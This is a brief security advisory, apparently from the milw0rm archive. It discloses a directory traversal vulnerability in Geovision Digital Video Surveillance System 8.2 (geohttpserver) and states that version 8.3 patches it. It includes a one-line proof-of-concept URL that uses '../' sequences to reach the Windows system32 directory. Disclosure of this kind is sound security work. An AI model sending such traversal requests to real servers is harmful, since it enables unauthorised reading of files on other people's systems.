17 lines
No EOL
366 B
Text
17 lines
No EOL
366 B
Text
Hi.
|
|
There is a Directory traversal vulnerability in Geovision Digital Video Surveillance
|
|
System (geohttpserver)version 8.2.
|
|
|
|
POC:
|
|
http://remotehost/../../../../../../windows/system32/whatever.something
|
|
|
|
PATCH:
|
|
Vendor has published the new version (8.3)
|
|
|
|
|
|
Regards,
|
|
Dejan Levaja
|
|
NSS d.o.o.
|
|
dejan[dot]levaja[at]netsec[dot]rs
|
|
|
|
# milw0rm.com [2009-02-11] |